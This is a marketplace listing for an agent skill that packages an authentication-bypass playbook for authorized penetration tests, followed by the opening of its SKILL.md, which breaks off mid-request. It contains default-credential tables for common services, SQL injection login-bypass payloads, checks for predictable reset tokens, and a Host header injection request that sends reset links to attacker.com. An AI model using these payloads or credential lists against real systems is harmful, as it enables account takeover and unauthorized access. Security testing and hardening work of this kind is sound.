Authbypass Authentication Flaws
Run a structured authentication-bypass playbook on login, reset, MFA, and session boundaries during authorized security assessments.
Overview
authbypass-authentication-flaws is an agent skill for the Ship phase that guides authorized authentication-bypass testing across login, reset, MFA, and session boundaries.
Install
npx skills add https://github.com/yaklang/hack-skills --skill authbypass-authentication-flawsWhat is this skill?
- Covers SQLi login bypass, password-reset flaws, MFA bypass, and predictable tokens
- Service-first tiny credential sets for phpMyAdmin, SSH, Tomcat, WebLogic, and FTP
- Username-class matrix for admins, support accounts, and enumeration
- Authorized credential test planning with routing reduction and wordlist sizing
- Explicit scope: login mechanism focus, separate from JWT/OAuth token attacks
- Service-first tiny credential table for six admin/service types (phpMyAdmin, FTP, SSH, MySQL, Tomcat, WebLogic)
- Username classes table for generic admins and support-style accounts
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You need to assess whether login and account-recovery flows can be bypassed, but ad-hoc checklists miss MFA, reset, and session edge cases.
Who is it for?
Solo builders or indie teams doing authorized pen tests, security reviews, or staging hardening on apps with custom login flows.
Skip if: Teams without written authorization, production credential spraying, or JWT/OAuth-only reviews—use the dedicated token-attack skill instead.
When should I use this skill?
Assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.
What do I get? / Deliverables
You get a service-aware attack playbook and credential test plan you can execute in scope before sign-off or remediation tickets.
- Authorized credential test plan with service-first username/password sets
- Prioritized authentication bypass test cases for login and recovery flows
Recommended Skills
Journey fit
Canonical shelf is Ship → Security because the playbook targets pre-release or staged auth hardening and penetration testing, not greenfield product discovery. Security subphase matches login-mechanism attack paths, credential testing plans, and bypass techniques distinct from JWT/OAuth token skills.
How it compares
Offensive login-mechanism playbook for agents, not a passive SAST scanner or a JWT/OAuth-only guide.
Common Questions / FAQ
Who is authbypass-authentication-flaws for?
Security-minded solo builders, indie devs, and agents assisting authorized testers who need structured auth-bypass coverage beyond token parsing.
When should I use authbypass-authentication-flaws?
During Ship security work on staging or in-scope targets when assessing login bypass, password reset, MFA, enumeration, brute-force resistance, or session flaws.
Is authbypass-authentication-flaws safe to install?
It is instructional offensive content—only use on systems you are allowed to test; review the Security Audits panel on this Prism page before trusting the package.
SKILL.md
READMESKILL.md - Authbypass Authentication Flaws
# SKILL: Authentication Bypass — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself. ## 0. AUTHORIZED CREDENTIAL TEST PLANNING After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place. ### Service-first tiny sets | Service Type | First Usernames | First Passwords | |---|---|---| | phpMyAdmin | `root`, `admin` | empty, `root`, `phpmyadmin`, `admin` | | FTP | `ftp`, `admin`, `test` | empty, `ftp`, `admin`, `123456` | | SSH | `root`, `admin`, service account names | `root`, `admin`, seasonal variants | | MySQL | `root`, `mysql` | empty, `root`, `mysql` | | Tomcat / Java admin | `tomcat`, `admin`, `manager` | `tomcat`, `admin`, `s3cret` | | WebLogic | `weblogic`, `admin` | `weblogic`, `welcome1`, `admin` | ### Username classes | Class | Examples | |---|---| | Generic admins | `admin`, `administrator`, `root`, `test`, `guest` | | Support / ops | `dev`, `ops`, `sysadmin`, `service`, `backup` | | Name-based | `firstname`, `lastname`, `f.lastname`, `first.last` | | Mail-derived | left side of corporate email formats | | Product-based | `tomcat`, `weblogic`, `jenkins`, `gitlab` | ### Wordlist sizing and port focus | Scenario | Preferred Size | Why | |---|---|---| | Default admin panel | 5 to 50 passwords | Defaults beat giant lists here | | Internal service with known product | vendor-specific small set | Better signal than generic lists | | Consumer login with weak controls | Top 20 or Top 100 | Fast verification | | Rate-limited login | tiny list + header/rotation strategy | Preserve attempts | | Offline hash cracking | large dictionaries | Online brute rules do not apply | Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services. --- ## 1. SQL INJECTION LOGIN BYPASS Classic but still found in legacy systems, custom ORMs, and raw query code: ```sql -- Basic bypass (admin user assumed first row): Username: admin'-- Password: anything → Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything' -- Generic bypass (logs in as first user in DB): Username: ' OR '1'='1'-- Password: anything → Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything' -- Blind: does this work? Username: ' OR 1=1-- Username: admin' OR 'a'='a Username: 1' OR '1'='1'/* Username: 1 or 1=1 ``` **Test each field separately** — only one field may be vulnerable. --- ## 2. PASSWORD RESET VULNERABILITIES ### Guessable / Predictable Reset Tokens Check if reset token is based on: ``` - Timestamp: token=1691234567890 (Unix time) - Sequential: token=1001, 1002, 1003 - MD5(email): echo -n "user@example.com" | md5sum - MD5(username+timestamp): reversible - Short token (4-6 digits): brute-forceable ``` **Test**: Request 3 consecutive reset emails, compare token patterns. ### Reset Token Not Expiring ``` 1. Request password reset → get token via email 2. Wait 48+ hours (token should expire) 3. Use old token → does it work? ``` ### Reset Token Reuse ``` 1. Request reset → get token T1 2. Complete reset with T1 3. Use T1 again → does it work again? ``` ### Host Header Injection in Reset Email When application generates reset URL using `Host` header: ```http POST /forgot-password HTTP/1.1 Host: attacker.com ← inject attacker's domain Content-Type: application/x-www-form-urlencoded email=victim@tar